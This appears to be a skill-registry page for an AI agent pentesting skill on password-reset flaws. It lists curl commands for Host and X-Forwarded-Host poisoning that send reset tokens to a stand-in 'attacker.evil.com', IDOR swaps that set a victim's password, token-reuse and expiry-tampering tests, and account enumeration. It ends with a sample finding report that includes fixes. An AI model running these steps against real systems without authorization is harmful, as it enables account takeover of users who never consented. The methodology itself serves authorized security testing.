testing-password-reset-flaws
$
npx mdskill add xalgord/xalgorix/testing-password-reset-flaws- During authorized penetration tests of any "forgot password" / account-recovery flow - When the application emails a reset link or token and you need to verify it is unguessable, single-use, and bound to the right user - For validating that the reset endpoint cannot be poisoned via Host/X-Forwarded-Host to redirect tokens to an attacker - When testing the user-identification parameter for IDOR that lets you reset another account's password - During bug bounty programs targeting account takeover and broken authentication (OWASP A07:2021)
SKILL.md
.github/skills/testing-password-reset-flawsView on GitHub ↗
---
name: testing-password-reset-flaws
description: Identifying and exploiting weaknesses in password reset flows including weak reset tokens,
host header poisoning, IDOR on the identification parameter, missing session invalidation, and account enumeration.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- password-reset
- host-header-injection
- account-takeover
- idor
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
---
# Testing Password Reset Flaws
## When to Use
- During authorized penetration tests of any "forgot password" / account-recovery flow
- When the application emails a reset link or token and you need to verify it is unguessable, single-use, and bound to the right user
- For validating that the reset endpoint cannot be poisoned via Host/X-Forwarded-Host to redirect tokens to an attacker
- When testing the user-identification parameter for IDOR that lets you reset another account's password
- During bug bounty programs targeting account takeover and broken authentication (OWASP A07:2021)
## Prerequisites
- **Authorization**: Written penetration testing agreement for the target application
- **Burp Suite Professional**: Proxy + Repeater + Intruder + Sequencer (token entropy)
- **Two test accounts**: attacker-controlled inbox(es) plus a victim account you own
- **A catch-all / Burp Collaborator domain**: to observe poisoned reset links landing on an attacker host
- **curl / httpie**: For manual header injection and token replay
- **Access to the reset emails**: to capture real tokens and link structure
## Critical: Checks Most Often Missed
Password reset is one of the most reliable account-takeover surfaces. For every
reset flow, work through this checklist:
- **Host header poisoning** (highest signal): send the reset request with a
spoofed `Host:` or `X-Forwarded-Host: attacker.com` (also try
`X-Forwarded-Server`, `X-Host`, dangling `Host: target.com:@attacker.com`,
absolute request line). If the emailed link points to `attacker.com/reset?token=...`,
the victim's token is exfiltrated when they click — zero-interaction takeover.
- **IDOR on the identification parameter**: the reset confirm step often carries
`user`, `email`, `user_id`, or `account` alongside the token. Swap it to the
victim while keeping your own valid token to set the victim's password.
- **Token not invalidated after use / no expiry**: reuse a token after a
successful reset, or use it long after issuance. Reusable or eternal tokens
defeat single-use semantics.
- **Weak token entropy / sequential tokens**: request many resets rapidly and
compare tokens. Incrementing counters, timestamps, or short tokens are
predictable — generate the victim's token offline.
- **No session/token invalidation after reset**: old sessions of the victim stay
valid after their password changes, and other outstanding reset tokens still work.
- **Reset link over HTTP**: the link uses `http://`, leaking the token over
cleartext and via referrers.
- **Date/time params used to revalidate expired links**: links containing
`expires=`/`ts=`/`timestamp=` that the server trusts — tamper the value to
resurrect an expired token.
- **Account enumeration via reset responses**: different message, status code,
or response time for existing vs. non-existing accounts reveals valid users.
- **Token leakage**: token in the URL is exposed via `Referer` to third-party
assets loaded on the reset page, and in browser history / server logs.
## Workflow
### Step 1: Map the Reset Flow and Capture a Real Token
Walk the full flow and record every parameter and the email link structure.
```bash
# 1) Request a reset for an account you control; capture the request
curl -s -i -X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@yourinbox.com"}'
# 2) Read the email you receive and note the link shape, e.g.:
# https://target.example.com/reset?token=8f2a9c...&user=1337
# (record token length/charset and any user/email/expires params)
# 3) Capture the confirm/submit request that actually sets the new password
curl -s -i -X POST "https://target.example.com/api/password/reset" \
-H "Content-Type: application/json" \
-d '{"token":"8f2a9c...","user":1337,"password":"NewPassw0rd!"}'
```
### Step 2: Host Header / X-Forwarded-Host Poisoning
Force the emailed link to point at an attacker-controlled host.
```bash
# Variant A: override the Host header outright
curl -s -i -X POST "https://target.example.com/api/password/forgot" \
-H "Host: attacker.evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"victim@corp.com"}'
# Variant B: X-Forwarded-Host (and siblings) behind a proxy
curl -s -i -X POST "https://target.example.com/api/password/forgot" \
-H "Host: target.example.com" \
-H "X-Forwarded-Host: attacker.evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"victim@corp.com"}'
# Other headers/tricks to try one at a time:
# X-Forwarded-Server: attacker.evil.com
# X-Host: attacker.evil.com
# X-Forwarded-Host: attacker.evil.com, target.example.com
# Host: target.example.com:@attacker.evil.com
# Host: target.example.com\n\rHost: attacker.evil.com (CRLF dual host)
# RESULT: inspect the victim's email (or your Collaborator/catch-all). If the
# reset link reads https://attacker.evil.com/reset?token=... the token is
# delivered to you when the victim clicks => account takeover.
```
### Step 3: Token Entropy and Sequential-Token Harvesting
Determine whether tokens are predictable or guessable.
```bash
# Rapidly request many resets and diff the tokens
for i in $(seq 1 20); do
curl -s -X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" \
-d '{"email":"attacker+'"$i"'@yourinbox.com"}' >/dev/null
# then read each email and append the token to tokens.txt
done
# Look for structure:
# - incrementing integers / counters
# - unix timestamps or millisecond clocks (predict from request time)
# - short hex/base36 (brute forceable)
# - md5(email) or md5(userid) style (forgeable offline)
# Statistical entropy on captured tokens with Burp Sequencer:
# Burp > send a forgot-password response containing the token to Sequencer
# > Live capture thousands > Analyze for low effective bits / patterns.
# If md5/sha of a known value is suspected, confirm:
echo -n "victim@corp.com" | md5sum
# compare to the victim's observed/derived token
```
### Step 4: IDOR on the User-Identification Parameter
Reset another user's password using your own valid token.
```bash
# Use a VALID token issued to YOUR account, but change the user/email param
# on the confirm step to the victim. If the server keys off the param instead
# of binding the token to the account, the victim's password is set.
curl -s -i -X POST "https://target.example.com/api/password/reset" \
-H "Content-Type: application/json" \
-d '{"token":"<YOUR_VALID_TOKEN>","user":4242,"password":"Pwned123!"}'
# Variations to test:
# {"token":"<YOURS>","email":"victim@corp.com","password":"Pwned123!"}
# /api/password/reset?token=<YOURS>&user_id=4242 (param in query)
# parameter pollution: user=<you>&user=<victim>
# add the victim id in a header the backend trusts (X-User-Id: 4242)
# Confirm by logging in as the victim with the new password.
```
### Step 5: Token Reuse, Expiry, and Date-Param Tampering
Test single-use semantics and link-expiry trust.
```bash
# --- Reuse after a successful reset ---
# Complete a reset with a token, then submit the SAME token again:
curl -s -i -X POST "https://target.example.com/api/password/reset" \
-H "Content-Type: application/json" \
-d '{"token":"8f2a9c...","password":"Again123!"}'
# 200 = token not invalidated after use (reusable).
# --- Expiry bypass via date/time parameter ---
# If the link is .../reset?token=...&expires=1716000000 and the server trusts
# the param, push it into the future to revive an expired token:
curl -s -i "https://target.example.com/reset?token=OLD_EXPIRED&expires=9999999999"
# Also try removing the expires/ts param, or setting it to a far-future epoch.
# --- No session invalidation after reset ---
# Capture a victim session cookie BEFORE reset, perform the reset, then replay:
curl -s -o /dev/null -w "%{http_code}\n" \
-H "Cookie: SESSIONID=victim-old..." \
"https://target.example.com/account" # 200 = old session survives reset
```
### Step 6: Enumeration, HTTP Transport, and Token Leakage
Check disclosure side-channels and transport security.
```bash
# --- Account enumeration via differing responses ---
# Existing vs non-existing account: compare body, status, and timing.
curl -s -o /dev/null -w "exists: %{http_code} %{time_total}\n" \
-X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" -d '{"email":"real@corp.com"}'
curl -s -o /dev/null -w "missing: %{http_code} %{time_total}\n" \
-X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" -d '{"email":"nobody-xyz@corp.com"}'
# Different message ("email sent" vs "no account"), code, or a consistent
# timing gap => username enumeration.
# --- Reset link over HTTP ---
# Inspect the emailed link scheme; http:// leaks the token over cleartext.
# --- Token leakage via Referer to third parties ---
# Load the reset page through Burp and check outbound requests: if the page
# embeds external analytics/fonts/images, the Referer header carries
# ...?token=... to those third-party domains, leaking the token.
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Host Header Poisoning** | Server builds the reset link from a client-controlled Host/X-Forwarded-Host, sending the token to an attacker domain |
| **Token Entropy** | Unpredictability of the reset token; low entropy or structure enables guessing/forgery |
| **Sequential Tokens** | Tokens derived from counters/timestamps that can be predicted from a known value |
| **Single-Use Semantics** | A reset token must be invalidated immediately after one successful use |
| **Identification-Parameter IDOR** | Token not bound to the account; swapping user/email resets another user |
| **Session Invalidation** | All sessions and other outstanding tokens must be revoked when a password changes |
| **Expiry Trust** | Server trusting a client-supplied `expires`/`ts` param instead of server-side state |
| **Account Enumeration** | Differing reset responses/timing reveal which emails are registered |
| **Token Leakage** | Reset token exposed via HTTP transport, Referer to third parties, logs, or history |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **Burp Suite Professional** | Intercept/modify reset requests, inject Host headers, replay tokens |
| **Burp Sequencer** | Measure reset-token entropy across many captured samples |
| **Burp Collaborator / catch-all domain** | Observe poisoned reset links landing on an attacker host |
| **Burp Intruder / ffuf** | Brute force short/sequential tokens and enumerate accounts |
| **curl / httpie** | Manual Host-header injection, IDOR parameter swaps, token replay |
| **OWASP ZAP** | Free proxy alternative for header tampering and fuzzing |
## Common Scenarios
### Scenario 1: X-Forwarded-Host Token Theft
The application generates the reset link using the incoming `X-Forwarded-Host` header. An attacker submits a reset for the victim with `X-Forwarded-Host: attacker.com`; the victim receives an email whose link points to `attacker.com/reset?token=...`. Clicking it leaks the token, enabling takeover.
### Scenario 2: Identification IDOR
The reset confirm endpoint accepts `{"token":..., "email":...}` but only validates that the token is non-expired, not that it belongs to that email. An attacker uses their own valid token with the victim's email to set the victim's password.
### Scenario 3: Predictable Token
Reset tokens are `md5(email + small_counter)`. After observing the structure from their own resets, the attacker computes the victim's token offline and resets without any email access.
### Scenario 4: Token Reuse and No Session Kill
After a reset, the old token still works and the victim's pre-reset sessions remain valid, so a previously stolen session or a re-sent token retains access.
## Output Format
```
## Password Reset Finding
**Vulnerability**: Account Takeover via Host Header Poisoning
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/password/forgot (reset link generation)
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### Reproduction Steps
1. Send POST /api/password/forgot for victim@corp.com with header X-Forwarded-Host: attacker.evil.com
2. Observe (via catch-all/Collaborator) the victim's reset email links to https://attacker.evil.com/reset?token=...
3. When the victim opens the link, the token is delivered to the attacker host
4. Replay the token against POST /api/password/reset to set a new password and log in as the victim
### Tested Weaknesses
| Test | Result |
|------|--------|
| Host / X-Forwarded-Host poisoning | Link host attacker-controlled |
| Identification-param IDOR | email param swappable |
| Token reuse after success | Reusable |
| Session invalidation after reset | Old sessions survive |
| Account enumeration | Distinct message for unknown email |
| Reset link transport | http:// (token in cleartext) |
### Impact
- Zero-to-one-click account takeover of any user by email address
- Reusable tokens and surviving sessions defeat remediation
- Enumeration enables targeted attacks at scale
### Recommendation
1. Build reset links from a server-side allowlisted canonical host; ignore Host/X-Forwarded-Host
2. Bind the token to the account server-side; never trust client user/email/expires params
3. Generate 128-bit CSPRNG tokens, single-use, short-lived, delivered only over HTTPS
4. Invalidate all sessions and outstanding tokens on successful reset
5. Return an identical, generic response for existing and non-existing accounts
```
More from xalgord/xalgorix
- abusing-hop-by-hop-headersTesting proxies, load balancers, and CDNs for improper handling of HTTP hop-by-hop headers, where an
- analyzing-macos-persistence-and-autostartEnumerating, planting, and hunting macOS persistence and auto-start (ASEP) locations during authorized
- api-discoveryAPI endpoint discovery including OpenAPI/Swagger detection, hidden versioning, REST/GraphQL enumeration, and content negotiation
- bypassing-binary-exploitation-mitigationsMethodology for identifying and defeating common binary hardening mitigations during authorized exploitation —
- bypassing-captcha-protectionsIdentifying weaknesses in CAPTCHA implementations and bypassing them via replay, field removal,
- bypassing-macos-gatekeeper-tcc-and-sipAssessing and bypassing macOS userland and platform security controls during authorized engagements -
- bypassing-restricted-shellsEscaping restricted shells (rbash, rksh, lshell), chroot jails, and language sandboxes (Lua, Python)
- bypassing-two-factor-and-otpIdentifying and exploiting flaws in two-factor authentication and one-time password verification
- deepExhaustive security assessment with maximum coverage, depth, and vulnerability chaining
- exploiting-ai-model-file-rceTesting machine-learning model files and model-loading services for remote code execution caused by insecure